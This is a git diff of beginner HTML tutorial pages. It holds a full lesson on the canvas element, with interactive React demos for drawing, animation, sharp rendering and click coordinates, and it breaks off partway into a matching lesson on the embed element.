diff --git a/tutorials/html/11-embedded-content/canvas.mdx b/tutorials/html/11-embedded-content/canvas.mdx
index 86001e3f5..274c7e67b 100644
--- a/tutorials/html/11-embedded-content/canvas.mdx
+++ b/tutorials/html/11-embedded-content/canvas.mdx
@@ -1,15 +1,661 @@
 ---
-id: canvas-element
-title: "Dynamic Bitmaps and Rendering: The canvas Element"
-sidebar_label: "Canvas (<canvas>)"
-sidebar_position: 5
+id: html-canvas
+title: "HTML Canvas"
+sidebar_label: "Canvas"
+sidebar_position: 6
 slug: /html/embedded-content/canvas
-description: "Explore pixel-based dynamic drawing, 2D/3D graphics, games, and real-time visual renders using the HTML5 canvas tag and JavaScript APIs."
+description: "Learn the HTML canvas element: drawing shapes, paths and text with the 2D context, animating with requestAnimationFrame, keeping drawings sharp on high-resolution screens, handling clicks with correct coordinates, making canvas accessible, performance, security and tainted canvases, with live demos."
 keywords:
-  - HTML canvas tag
-  - 2D 3D graphics HTML
-  - dynamic pixel rendering
-  - HTML5 canvas graphics
+  - HTML canvas tutorial
+  - canvas 2D context
+  - canvas fillRect arc path
+  - requestAnimationFrame animation
+  - canvas devicePixelRatio sharp
+  - canvas click coordinates
+  - canvas accessibility fallback content
+  - tainted canvas CORS
+  - canvas vs SVG
+  - HTML5 canvas beginner
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, canvas, graphics, javascript]
----
\ No newline at end of file
+tags: [html, web-development, beginner, canvas, graphics, javascript, animation, accessibility, frontend]
+---
+
+import {useEffect, useRef, useState} from 'react';
+
+export function ShapesDemo() {
+  const canvasRef = useRef(null);
+  const [color, setColor] = useState("#2563eb");
+  const [code, setCode] = useState("// Press a button to draw");
+  const spot = () => [Math.round(30 + Math.random() * 240), Math.round(25 + Math.random() * 100)];
+  const draw = (kind) => {
+    const canvas = canvasRef.current;
+    if (!canvas) return;
+    const ctx = canvas.getContext("2d");
+    const [x, y] = spot();
+    if (kind === "clear") {
+      ctx.clearRect(0, 0, 300, 150);
+      setCode("ctx.clearRect(0, 0, 300, 150);");
+      return;
+    }
+    if (kind === "rect") {
+      ctx.fillStyle = color;
+      ctx.fillRect(x - 20, y - 12, 40, 24);
+      setCode('ctx.fillStyle = "' + color + '";\nctx.fillRect(' + (x - 20) + ", " + (y - 12) + ", 40, 24);");
+    }
+    if (kind === "circle") {
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.arc(x, y, 16, 0, Math.PI * 2);
+      ctx.fill();
+      setCode('ctx.fillStyle = "' + color + '";\nctx.beginPath();\nctx.arc(' + x + ", " + y + ", 16, 0, Math.PI * 2);\nctx.fill();");
+    }
+    if (kind === "line") {
+      ctx.strokeStyle = color;
+      ctx.lineWidth = 3;
+      ctx.beginPath();
+      ctx.moveTo(x, y);
+      ctx.lineTo(x + 40, y + 15);
+      ctx.stroke();
+      setCode('ctx.strokeStyle = "' + color + '";\nctx.lineWidth = 3;\nctx.beginPath();\nctx.moveTo(' + x + ", " + y + ");\nctx.lineTo(" + (x + 40) + ", " + (y + 15) + ");\nctx.stroke();");
+    }
+    if (kind === "text") {
+      ctx.fillStyle = color;
+      ctx.font = "bold 18px sans-serif";
+      ctx.fillText("Hi!", x, y);
+      setCode('ctx.fillStyle = "' + color + '";\nctx.font = "bold 18px sans-serif";\nctx.fillText("Hi!", ' + x + ", " + y + ");");
+    }
+  };
+  return (
+    <div>
+      <p style={{display: "flex", gap: "0.5rem", flexWrap: "wrap", alignItems: "center", margin: "0 0 0.5rem"}}>
+        <label>Colour <input type="color" value={color} onChange={(event) => setColor(event.target.value)} /></label>
+        <button type="button" onClick={() => draw("rect")}>Rectangle</button>
+        <button type="button" onClick={() => draw("circle")}>Circle</button>
+        <button type="button" onClick={() => draw("line")}>Line</button>
+        <button type="button" onClick={() => draw("text")}>Text</button>
+        <button type="button" onClick={() => draw("clear")}>Clear</button>
+      </p>
+      <canvas
+        ref={canvasRef}
+        width="300"
+        height="150"
+        role="img"
+        aria-label="A drawing area. Shapes you add with the buttons appear here."
+        style={{width: "100%", maxWidth: "300px", height: "auto", background: "#f8fafc", border: "1px solid #cbd5e1", borderRadius: "6px", display: "block"}}
+      >
+        A drawing area. Shapes you add with the buttons appear here.
+      </canvas>
+      <pre style={{margin: "0.6rem 0 0", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{code}</code></pre>
+    </div>
+  );
+}
+
+export function AnimationDemo() {
+  const canvasRef = useRef(null);
+  const ball = useRef({x: 60, y: 50, vx: 1, vy: 0.7});
+  const dprRef = useRef(1);
+  const [running, setRunning] = useState(true);
+  const [speed, setSpeed] = useState(1);
+  const [sharp, setSharp] = useState(true);
+  const [fps, setFps] = useState(0);
+  const [dpr, setDpr] = useState(1);
+  const [reduce, setReduce] = useState(false);
+  useEffect(() => {
+    const query = window.matchMedia("(prefers-reduced-motion: reduce)");
+    setReduce(query.matches);
+    if (query.matches) setRunning(false);
+  }, []);
+  useEffect(() => {
+    const canvas = canvasRef.current;
+    if (!canvas) return;
+    const ratio = sharp ? window.devicePixelRatio || 1 : 1;
+    dprRef.current = ratio;
+    setDpr(window.devicePixelRatio || 1);
+    canvas.width = Math.round(300 * ratio);
+    canvas.height = Math.round(150 * ratio);
+  }, [sharp]);
+  useEffect(() => {
+    const canvas = canvasRef.current;
+    if (!canvas) return undefined;
+    const ctx = canvas.getContext("2d");
+    const paint = () => {
+      const r = dprRef.current;
+      ctx.setTransform(r, 0, 0, r, 0, 0);
+      ctx.clearRect(0, 0, 300, 150);
+      ctx.fillStyle = "#0f172a";
+      ctx.beginPath();
+      ctx.arc(ball.current.x, ball.current.y, 14, 0, Math.PI * 2);
+      ctx.fill();
+      ctx.strokeStyle = "#38bdf8";
+      ctx.lineWidth = 2;
+      ctx.stroke();
+    };
+    if (!running) {
+      paint();
+      return undefined;
+    }
+    let handle = 0;
+    let last = performance.now();
+    let frames = 0;
+    let mark = last;
+    const loop = (now) => {
+      const dt = Math.min(0.05, (now - last) / 1000);
+      last = now;
+      const b = ball.current;
+      b.x += b.vx * 140 * speed * dt;
+      b.y += b.vy * 140 * speed * dt;
+      if (b.x < 14 || b.x > 286) { b.vx = -b.vx; b.x = Math.max(14, Math.min(286, b.x)); }
+      if (b.y < 14 || b.y > 136) { b.vy = -b.vy; b.y = Math.max(14, Math.min(136, b.y)); }
+      paint();
+      frames++;
+      if (now - mark >= 1000) {
+        setFps(Math.round((frames * 1000) / (now - mark)));
+        frames = 0;
+        mark = now;
+      }
+      handle = requestAnimationFrame(loop);
+    };
+    handle = requestAnimationFrame(loop);
+    return () => cancelAnimationFrame(handle);
+  }, [running, speed, sharp]);
+  return (
+    <div>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", alignItems: "center", margin: "0 0 0.5rem"}}>
+        <button type="button" onClick={() => setRunning((old) => !old)}>{running ? "Pause animation" : "Play animation"}</button>
+        <label>Speed <input type="range" min="0.5" max="3" step="0.5" value={speed} onChange={(event) => setSpeed(Number(event.target.value))} aria-valuetext={speed + " times"} /></label>
+        <label><input type="checkbox" checked={sharp} onChange={(event) => setSharp(event.target.checked)} /> Match screen sharpness</label>
+      </p>
+      <canvas
+        ref={canvasRef}
+        width="300"
+        height="150"
+        role="img"
+        aria-label="A ball bouncing inside a box"
+        style={{width: "300px", maxWidth: "100%", height: "auto", aspectRatio: "2 / 1", background: "#f1f5f9", border: "1px solid #cbd5e1", borderRadius: "6px", display: "block"}}
+      >
+        A ball bouncing inside a box.
+      </canvas>
+      <p role="status" style={{margin: "0.5rem 0 0.2rem"}}>
+        {running ? "Running at about " + fps + " frames per second." : "Paused."}{" "}
+        Your screen's pixel ratio is <strong>{dpr}</strong>.
+      </p>
+      <p style={{margin: 0, fontSize: "0.9em", color: "#64748b"}}>
+        {reduce ? "Your system asks for reduced motion, so the animation started paused. " : ""}
+        {dpr > 1 ? "On this screen, turn “Match screen sharpness” off, and the ball looks blurry." : "On a high-resolution screen (pixel ratio above 1), turning “Match screen sharpness” off makes the drawing blurry."}
+      </p>
+    </div>
+  );
+}
+
+export function HitTestDemo() {
+  const canvasRef = useRef(null);
+  const circles = [
+    {name: "Red", x: 60, y: 75, r: 32, color: "#ef4444"},
+    {name: "Green", x: 150, y: 75, r: 32, color: "#22c55e"},
+    {name: "Blue", x: 240, y: 75, r: 32, color: "#3b82f6"},
+  ];
+  const [selected, setSelected] = useState(-1);
+  const [last, setLast] = useState("Nothing selected yet.");
+  useEffect(() => {
+    const canvas = canvasRef.current;
+    if (!canvas) return;
+    const ctx = canvas.getContext("2d");
+    ctx.clearRect(0, 0, 300, 150);
+    circles.forEach((circle, index) => {
+      ctx.fillStyle = circle.color;
+      ctx.beginPath();
+      ctx.arc(circle.x, circle.y, circle.r, 0, Math.PI * 2);
+      ctx.fill();
+      if (index === selected) {
+        ctx.lineWidth = 5;
+        ctx.strokeStyle = "#0f172a";
+        ctx.stroke();
+      }
+    });
+  }, [selected]);
+  const pick = (event) => {
+    const canvas = canvasRef.current;
+    const box = canvas.getBoundingClientRect();
+    const scaleX = canvas.width / box.width;
+    const scaleY = canvas.height / box.height;
+    const x = (event.clientX - box.left) * scaleX;
+    const y = (event.clientY - box.top) * scaleY;
+    const hit = circles.findIndex((circle) => Math.hypot(x - circle.x, y - circle.y) <= circle.r);
+    setSelected(hit);
+    setLast("Click at (" + Math.round(x) + ", " + Math.round(y) + ") in canvas units: " + (hit >= 0 ? circles[hit].name + " circle selected." : "no circle there."));
+  };
+  return (
+    <div>
+      <canvas
+        ref={canvasRef}
+        width="300"
+        height="150"
+        role="img"
+        aria-label="Three circles: red, green and blue. Choose one with the list below."
+        onClick={pick}
+        style={{width: "100%", maxWidth: "600px", height: "auto", aspectRatio: "2 / 1", background: "#f8fafc", border: "1px solid #cbd5e1", borderRadius: "6px", display: "block", cursor: "pointer"}}
+      >
+        Three circles: red, green and blue.
+      </canvas>
+      <fieldset style={{margin: "0.6rem 0 0"}}>
+        <legend>The same choice, for keyboard and screen reader users</legend>
+        {circles.map((circle, index) => (
+          <label key={circle.name} style={{display: "inline-block", marginRight: "1rem"}}>
+            <input
+              type="radio"
+              name="hit-circle"
+              checked={selected === index}
+              onChange={() => { setSelected(index); setLast(circle.name + " circle selected from the list."); }}
+            /> {circle.name}
+          </label>
+        ))}
+      </fieldset>
+      <p role="status" style={{margin: "0.5rem 0 0"}}>{last}</p>
+      <p style={{margin: "0.4rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        The canvas is drawn at 300 by 150 but shown larger, so the page converts the mouse position back into canvas units. Without that step, clicks land in the wrong place.
+      </p>
+    </div>
+  );
+}
+
+If SVG is a box of **shapes you can pick up and move**, canvas is a **blank painting that you paint on with code.** You give it a size, you ask it to draw a circle here and a line there, and it paints the pixels. Once painted, the circle is not an object any more, just coloured dots. To move it, you wipe the area and paint again.
+
+That makes canvas excellent for **games, animation, visual effects, image editing, and anything with a very large number of moving parts**. It also means you take on more work for accessibility, scaling, and clicks, which is the main subject of this lesson.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- Creating a canvas, and getting its 2D drawing context
+- Drawing rectangles, circles, lines, and text
+- Animating with `requestAnimationFrame`
+- Keeping drawings sharp on high-resolution screens
+- Handling clicks with the right coordinates
+- Making canvas accessible
+- Performance, security, and common mistakes
+
+## The Basics
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<canvas id="stage" width="300" height="150" role="img"
+        aria-label="A drawing area">
+  A drawing area. Shapes added with the buttons appear here.
+</canvas>
+```
+
+```js title="script.js"
+const canvas = document.getElementById("stage");
+const ctx = canvas.getContext("2d");      // the "pen" you draw with
+
+ctx.fillStyle = "#2563eb";
+ctx.fillRect(20, 20, 80, 40);             // x, y, width, height
+
+ctx.beginPath();
+ctx.arc(180, 60, 25, 0, Math.PI * 2);     // x, y, radius, start angle, end angle
+ctx.fill();
+
+ctx.font = "bold 18px sans-serif";
+ctx.fillStyle = "#0f172a";
+ctx.fillText("Hello canvas", 20, 120);
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<ShapesDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Press the buttons, and each one runs a few lines of drawing code, shown underneath. The steps are always the same:
+
+1. **Find the canvas** element.
+2. **Get its context** with `getContext("2d")`. The context is the object that has all the drawing methods.
+3. **Set a style** (`fillStyle`, `strokeStyle`, `font`, and so on).
+4. **Draw.**
+
+### The Two Sizes of a Canvas
+
+A canvas has two sizes, and mixing them up is the most common beginner problem:
+
+| Size | Set by | Meaning |
+| :-- | :-- | :-- |
+| **Bitmap size** | The `width` and `height` **attributes** | How many pixels the drawing has (default 300 by 150) |
+| **Display size** | **CSS** `width` and `height` | How big that bitmap is shown on the page |
+
+If the two differ, the browser **stretches the bitmap**, and your drawing becomes blurry or distorted. We deal with this again below, under sharpness and click coordinates.
+
+Also note: **setting `width` or `height` in script clears the canvas** and resets all styles.
+
+## Coordinates
+
+As in SVG, the origin **(0, 0) is the top-left corner**. The x value grows to the right, and the **y value grows downwards**.
+
+## Drawing Methods
+
+| Task | Methods |
+| :-- | :-- |
+| Rectangles | `fillRect(x, y, w, h)`, `strokeRect(...)`, `clearRect(...)` |
+| Paths | `beginPath()`, `moveTo(x, y)`, `lineTo(x, y)`, `arc(x, y, r, start, end)`, `closePath()`, then `fill()` or `stroke()` |
+| Curves | `quadraticCurveTo(...)`, `bezierCurveTo(...)` |
+| Text | `fillText(text, x, y)`, `strokeText(...)`, `measureText(text)` |
+| Images | `drawImage(image, x, y)` |
+| Colours | `fillStyle`, `strokeStyle` (colour names, hex, or gradients) |
+| Lines | `lineWidth`, `lineCap`, `lineJoin` |
+| Transforms | `translate`, `rotate`, `scale`, plus `save()` and `restore()` |
+| Pixels | `getImageData`, `putImageData` |
+
+A few tips:
+
+- **Always call `beginPath()`** before a new shape. If you forget, new lines join old ones, and every `stroke()` redraws all of them.
+- **`save()` and `restore()`** protect your settings. Call `save()`, change styles or transforms, draw, and call `restore()` to return to how things were.
+- **Angles are in radians.** A full circle is `Math.PI * 2`.
+- **Text is painted, not typed.** It does not wrap, cannot be selected, and screen readers cannot read it (more below).
+
+```js
+// A small helper: draw a labelled dot, without leaking styles
+function dot(ctx, x, y, color, label) {
+  ctx.save();
+  ctx.fillStyle = color;
+  ctx.beginPath();
+  ctx.arc(x, y, 8, 0, Math.PI * 2);
+  ctx.fill();
+  ctx.fillStyle = "#0f172a";
+  ctx.fillText(label, x + 12, y + 4);
+  ctx.restore();
+}
+```
+
+## Animation
+
+To animate, you **erase and redraw** many times a second. Use **`requestAnimationFrame`**, which calls your function just before the browser paints the next screen, usually 60 times a second, and **pauses** when the tab is hidden, saving battery.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```js title="script.js"
+const canvas = document.getElementById("stage");
+const ctx = canvas.getContext("2d");
+
+let x = 40, y = 40, vx = 140, vy = 100;   // position, and speed in pixels per second
+let last = performance.now();
+let handle = 0;
+
+function frame(now) {
+  const dt = Math.min(0.05, (now - last) / 1000);   // seconds since the last frame
+  last = now;
+
+  x += vx * dt;                                      // move by speed x time
+  y += vy * dt;
+  if (x < 14 || x > 286) vx = -vx;                   // bounce
+  if (y < 14 || y > 136) vy = -vy;
+
+  ctx.clearRect(0, 0, 300, 150);                     // erase
+  ctx.beginPath();
+  ctx.arc(x, y, 14, 0, Math.PI * 2);                 // redraw
+  ctx.fill();
+
+  handle = requestAnimationFrame(frame);
+}
+
+handle = requestAnimationFrame(frame);
+
+// Stop it any time:
+// cancelAnimationFrame(handle);
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<AnimationDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+The most important idea is **time-based movement**. The ball moves by `speed x dt`, not "5 pixels per frame". That way it moves at the same real speed on a 60 Hz phone and a 144 Hz monitor.
+
+Also note:
+
+- **Provide a Pause button.** Anything that moves for more than about 5 seconds should be pausable.
+- **Respect `prefers-reduced-motion`.** The demo starts paused if you have it switched on in your system.
+- **Stop the loop** (`cancelAnimationFrame`) when the canvas is not needed, such as when the visitor leaves the view or the page.
+
+## Sharp on Every Screen
+
+Many phones and laptops have **high-resolution screens**, where one CSS pixel is made of 2 or 3 device pixels. A canvas that has 300 bitmap pixels, shown at 300 CSS pixels, gets stretched to 600 or 900 device pixels, and looks blurry.
+
+The fix is to make the **bitmap bigger**, and scale your drawing to match:
+
+```js
+const ratio = window.devicePixelRatio || 1;
+
+canvas.width = 300 * ratio;                 // the bitmap is bigger
+canvas.height = 150 * ratio;
+canvas.style.width = "300px";               // but shown at the same size
+canvas.style.height = "150px";
+
+ctx.setTransform(ratio, 0, 0, ratio, 0, 0); // so you can still draw in 300 by 150 units
+```
+
+Try the **Match screen sharpness** box in the demo above. On a standard-resolution screen you will not see a difference, but on a high-resolution one, switching it off makes the ball visibly soft. Do not forget to redo this when the canvas is resized, or when the visitor moves the window to a screen with a different ratio.
+
+Very large canvases use lots of memory. Do not make a canvas bigger than you need.
+
+## Clicks and Touches: Get the Coordinates Right
+
+A pointer event gives you positions relative to the **page** or **window**. You need them in **canvas units**. When the displayed size differs from the bitmap size, you must scale:
+
+```js
+canvas.addEventListener("click", (event) => {
+  const box = canvas.getBoundingClientRect();
+  const x = (event.clientX - box.left) * (canvas.width  / box.width);
+  const y = (event.clientY - box.top)  * (canvas.height / box.height);
+
+  // Is the point inside a circle?
+  const inside = Math.hypot(x - circle.x, y - circle.y) <= circle.r;
+});
+```
+
+### Try It: Click on a Circle, or Choose from a List
+
+Click a circle in the canvas. The page converts your click into canvas units, and tests which circle it hit. The canvas is shown at twice its bitmap size here, so skipping the conversion would put every click in the wrong place. Then use the **list below**, which does the same job for people who cannot click.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```html title="index.html"
+<canvas id="stage" width="300" height="150" role="img"
+        aria-label="Three circles: red, green and blue. Choose one with the list below."></canvas>
+
+<fieldset>
+  <legend>The same choice, for keyboard users</legend>
+  <label><input type="radio" name="c" value="0"> Red</label>
+  <label><input type="radio" name="c" value="1"> Green</label>
+  <label><input type="radio" name="c" value="2"> Blue</label>
+</fieldset>
+
+<p id="status" role="status"></p>
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<HitTestDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Use **pointer events** (`pointerdown`, `pointermove`) rather than separate mouse and touch events, so one handler works for mouse, pen, and finger.
+
+## Accessibility
+
+A canvas is **one picture** to assistive technology. Everything you paint, including text, buttons, and charts, is invisible to a screen reader, cannot be searched, and cannot be reached by keyboard. You have to supply everything yourself.
+
+1. **Give it a name:** `role="img"` and `aria-label` for a drawing, or `aria-labelledby` pointing at a visible caption.
+2. **Provide fallback content** between the `<canvas>` tags. It is shown to browsers that cannot draw canvas, and exposed to some assistive technology. Do not rely on it alone.
+3. **Offer a text alternative** for anything that carries information. For a chart, put a **data table** or a text summary next to it. For a game, describe the state in text.
+4. **Provide keyboard and screen reader alternatives for pointer actions,** like the list in the demo above. Real `<button>`, `<input>`, and `<select>` elements next to the canvas are the most reliable way.
+5. **Announce changes** (a score, "Level 2", "Game over") in a `role="status"` element.
+6. **Do not paint text-heavy interfaces on canvas.** Menus, forms, and paragraphs belong in HTML, where they can be read, translated, searched, and focused.
+7. **Respect motion preferences,** give a pause control, and avoid flashing.
+8. **Keep contrast high,** and do not use colour alone to show meaning.
+9. **Make targets large** (at least 24 by 24 CSS pixels, ideally 44) for touch.
+10. **Test with a keyboard and a screen reader,** with the canvas as part of the whole page.
+
+If the canvas is purely **decorative**, hide it from assistive technology with `aria-hidden="true"`.
+
+:::tip Build the page first, then add canvas
+Make the information and controls work in **plain HTML** (a table, a list of buttons), then draw the canvas as an enhancement on top. That way the page stays usable if scripts or canvas fail.
+:::
+
+## Performance
+
+- **Draw only what changed,** when you can. Clearing and redrawing a small area is cheaper than the whole canvas.
+- **Avoid creating objects every frame** (new arrays, strings, gradients). Reuse them.
+- **Cache expensive drawings** by painting them once onto a hidden second canvas, and then copy that with `drawImage`.
+- **Stop when it is not visible.** `requestAnimationFrame` already pauses in hidden tabs. For canvases scrolled off screen, use `IntersectionObserver`.
+- **Do not make the canvas bigger than needed,** especially on phones.
+- **For heavy work** such as image processing, newer browsers offer `OffscreenCanvas` and web workers. Check support before relying on them.
+- **For thousands of 3D or shader-heavy objects,** look at **WebGL** (`getContext("webgl")`), which uses the graphics card. It is a larger topic than this lesson.
+
+## Canvas or SVG?
+
+| | Canvas | SVG |
+| :-- | :-- | :-- |
+| Made of | A bitmap you paint on | Elements in the page |
+| After drawing | You only have pixels | Every shape is still an element |
+| Sharp at any size | Only if you redraw at the right size | **Yes** |
+| Accessibility | You supply everything | **Mostly built in** |
+| Many moving objects | **Fast** | Slows down with thousands |
+| Events on shapes | You work out which shape was hit | Built in (`click` on a shape) |
+| Best for | Games, effects, image editing, particles | Icons, logos, charts, diagrams |
+
+If you can do the job with [SVG](./svg), do it with SVG. Choose canvas when you need speed, pixels, or effects.
+
+## Security and Privacy Notes
+
+- **Cross-origin images "taint" the canvas.** If you draw an image from another site onto a canvas, the browser blocks `toDataURL()`, `toBlob()`, and `getImageData()`, because the pixels could reveal private content. To read them, the image must be served with CORS headers, and requested with `crossorigin="anonymous"` (or `img.crossOrigin = "anonymous"`).
+- **Canvas drawing can be used for fingerprinting.** Scripts can draw hidden text and shapes, and read the tiny differences in how each device renders them, to identify a visitor. Do not use canvas for this. Be aware that some browsers add noise or ask permission for canvas reads.
+- **Painted text is not HTML,** so showing visitors' words with `fillText` cannot inject markup. Still validate any data that you draw.
+- **Treat user-supplied images and files as untrusted,** and check type and size. A giant image can freeze the page.
+- **Do not put secrets in your drawing code.** Anything in the page source is public.
+- **Exporting canvas content** (for example, a "download as PNG" button) gives visitors a copy of whatever was drawn, so do not draw private data on a shared page.
+
+## Global Audience Notes
+
+- **Text on canvas is not translatable** by the browser, and cannot be read by many tools. Keep important text in HTML.
+- **Fonts must be loaded before you draw them.** Wait for `document.fonts.ready` (or load the font first), or the canvas will use a fallback font.
+- **Choose fonts that cover your scripts,** such as Arabic, Devanagari, or Chinese. Test that nothing shows as empty boxes.
+- **Right-to-left text:** set `ctx.direction = "rtl"` and `ctx.textAlign` carefully, and test mixed text.
+- **Text does not wrap or resize itself.** Longer translations may overflow, so measure with `measureText` and adjust.
+- **Be kind to slow devices.** Many visitors use older, low-power phones. Test at a low frame rate, offer a simpler or paused version, and keep the bitmap small.
+- **Do not rely on colour meanings** that differ between cultures, and add labels or shapes as well.
+
+## Common Mistakes to Avoid
+
+1. **Setting the size with CSS only,** so the bitmap is stretched and blurry.
+2. **Forgetting `beginPath()`,** so shapes join and redraw.
+3. **Using click coordinates directly,** with no scaling.
+4. **Not clearing the canvas** between frames.
+5. **Moving a fixed amount per frame,** so speed changes with the screen.
+6. **A canvas with no name or text alternative.**
+7. **Painting buttons, menus, or paragraphs** that should be HTML.
+8. **No keyboard alternative** for pointer actions.
+9. **Animation with no pause button,** or ignoring reduced motion.
+10. **Never stopping the animation loop.**
+11. **Blurry drawing on high-resolution screens.**
+12. **Drawing cross-origin images, then reading the pixels,** and getting a security error.
+
+## Practice Time
+
+Try these in your editor:
+
+1. Create a `300 by 150` canvas, and fill it with a coloured rectangle.
+2. Draw a circle with `arc`, and a triangle with `moveTo` and `lineTo`.
+3. Write your name with `fillText`, and measure its width with `measureText`.
+4. Draw a shape with `save()`, a changed style, and `restore()`, and see that later shapes are unaffected.
+5. Animate a square across the canvas with `requestAnimationFrame` and `dt`.
+6. Add a Pause button, and honour `prefers-reduced-motion`.
+7. Make the drawing sharp on a high-resolution screen with `devicePixelRatio`.
+8. Show the canvas larger with CSS, and make clicks land correctly.
+9. Add radio buttons that do the same job as clicking, with a `role="status"` message.
+10. Bonus: draw a bar chart, and put the same numbers in a table underneath.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. What is the difference between the canvas `width` attribute and the CSS width?</summary>
+
+The attribute sets the bitmap size (how many pixels you can draw on). CSS sets the displayed size. If they differ, the bitmap is stretched, which causes blur and wrong click positions.
+
+</details>
+
+<details>
+<summary>2. Why use `requestAnimationFrame` instead of `setInterval`?</summary>
+
+It runs just before each screen repaint, matches the display's refresh rate, and pauses in hidden tabs. Combined with time-based movement, the animation runs at the same speed on any screen.
+
+</details>
+
+<details>
+<summary>3. How do you keep canvas drawings sharp on high-resolution screens?</summary>
+
+Multiply the bitmap size by `window.devicePixelRatio`, keep the CSS size the same, and scale the context so you can still draw in CSS units.
+
+</details>
+
+<details>
+<summary>4. How do you make canvas accessible?</summary>
+
+Give it a name, add fallback content and a text alternative (such as a data table), provide real keyboard-friendly controls and status messages next to it, respect reduced motion, and keep text-heavy interfaces in HTML.
+
+</details>
+
+<details>
+<summary>5. What does a "tainted" canvas mean?</summary>
+
+Drawing a cross-origin image without CORS permission marks the canvas as tainted, and the browser blocks reading its pixels (`toDataURL`, `getImageData`) to protect private content.
+
+</details>
+
+<details>
+<summary>6. When should you choose SVG over canvas?</summary>
+
+When the graphic has a manageable number of shapes, needs to stay sharp at any size, or needs built-in accessibility and events: icons, logos, charts, and diagrams. Choose canvas for games, effects, and very large numbers of moving objects.
+
+</details>
+
+## Key Takeaways
+
+- `<canvas>` is a **bitmap** you paint with JavaScript, through `getContext("2d")`.
+- Set the **bitmap size with attributes**, the display size with CSS, and use **`devicePixelRatio`** for sharpness.
+- Use **`beginPath()`** for each shape, and **`save()`/`restore()`** to protect styles.
+- Animate with **`requestAnimationFrame`** and **time-based movement**, with a pause button and reduced-motion support.
+- Convert pointer positions into **canvas units** before testing what was hit.
+- Canvas is **not accessible by default**: add a name, fallback content, text alternatives, and real controls.
+- Keep text-heavy UI in HTML, and use SVG when it can do the job.
+- Cross-origin images taint the canvas, and canvas can be used for fingerprinting, so be careful with both.
+
+Next, show people where something is with [Maps](./maps), or return to the [Embedded Content overview](../embedded-content).
\ No newline at end of file
diff --git a/tutorials/html/11-embedded-content/embed.mdx b/tutorials/html/11-embedded-content/embed.mdx
index 38d55de23..056c9d648 100644
--- a/tutorials/html/11-embedded-content/embed.mdx
+++ b/tutorials/html/11-embedded-content/embed.mdx
@@ -1,15 +1,380 @@
 ---
-id: embed-element
-title: "External Application Containers: The embed Element"
-sidebar_label: "Embed (<embed>)"
+id: html-embed
+title: "HTML Embed Element"
+sidebar_label: "Embed"
 sidebar_position: 3
 slug: /html/embedded-content/embed
-description: "Discover how to integrate interactive external content, browser plugins, and multimedia resources using the void embed element."
+description: "Learn the HTML embed element: what it was built for, how src, type, width and height work, why it has no fallback content, how it compares with object, iframe and img, accessibility and security limits, and when to choose something else, with live demos."
 keywords:
+  - HTML embed element
   - HTML embed tag
-  - external plugin container
-  - void embed element
-  - interactive content HTML
+  - embed vs object vs iframe
+  - embed PDF in HTML
+  - embed SVG HTML
+  - embed type attribute
+  - legacy plugins Flash
+  - navigator.pdfViewerEnabled
+  - embedded content accessibility
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, embed, embedded-content, elements]
----
\ No newline at end of file
+tags: [html, web-development, beginner, embed, embedded-content, security, accessibility, frontend]
+---
+
+import {useEffect, useState} from 'react';
+
+export function EmbedLab() {
+  const [width, setWidth] = useState(240);
+  const [goodType, setGoodType] = useState(true);
+  const [pdfSupport, setPdfSupport] = useState("checking…");
+  const svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80"><rect width="200" height="80" rx="8" fill="#ede9fe"/><circle cx="40" cy="40" r="24" fill="#7c3aed"/><text x="80" y="46" font-family="sans-serif" font-size="16" fill="#0f172a">An SVG file</text></svg>';
+  const uri = "data:image/svg+xml," + encodeURIComponent(svg);
+  const type = goodType ? "image/svg+xml" : "application/x-unknown-type";
+  const height = Math.round(width * 0.4);
+  useEffect(() => {
+    if (typeof navigator.pdfViewerEnabled === "boolean") {
+      setPdfSupport(navigator.pdfViewerEnabled ? "yes, this browser has a built-in PDF viewer" : "no, PDFs here are usually downloaded");
+    } else {
+      setPdfSupport("this browser does not say");
+    }
+  }, []);
+  const code = '<embed src="graphic.svg"\n       type="' + type + '"\n       width="' + width + '" height="' + height + '">';
+  return (
+    <div>
+      <p style={{display: "flex", gap: "1rem", flexWrap: "wrap", alignItems: "center", margin: "0 0 0.6rem"}}>
+        <label>
+          width: <strong>{width} px</strong>{" "}
+          <input type="range" min="120" max="400" step="10" value={width} onChange={(event) => setWidth(Number(event.target.value))} aria-valuetext={width + " pixels"} />
+        </label>
+        <label>
+          <input type="checkbox" checked={goodType} onChange={(event) => setGoodType(event.target.checked)} /> a correct <code>type</code>
+        </label>
+      </p>
+      <div style={{border: "1px dashed #94a3b8", display: "inline-block", maxWidth: "100%", overflow: "auto", minWidth: "6rem", minHeight: "2rem"}}>
+        <embed key={type + width} src={uri} type={type} width={width} height={height} title="An SVG with a purple circle and the words An SVG file" />
+      </div>
+      <pre style={{margin: "0.6rem 0 0", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{code}</code></pre>
+      <p role="status" style={{margin: "0.4rem 0 0", color: goodType ? "inherit" : "#b91c1c"}}>
+        {goodType
+          ? "The browser recognises the type and shows the file."
+          : "With a type the browser does not know, most browsers show an empty box and give no message. There is no fallback content to rescue the visitor."}
+      </p>
+      <p style={{margin: "0.4rem 0 0"}}><strong>Built-in PDF viewer?</strong> {pdfSupport}</p>
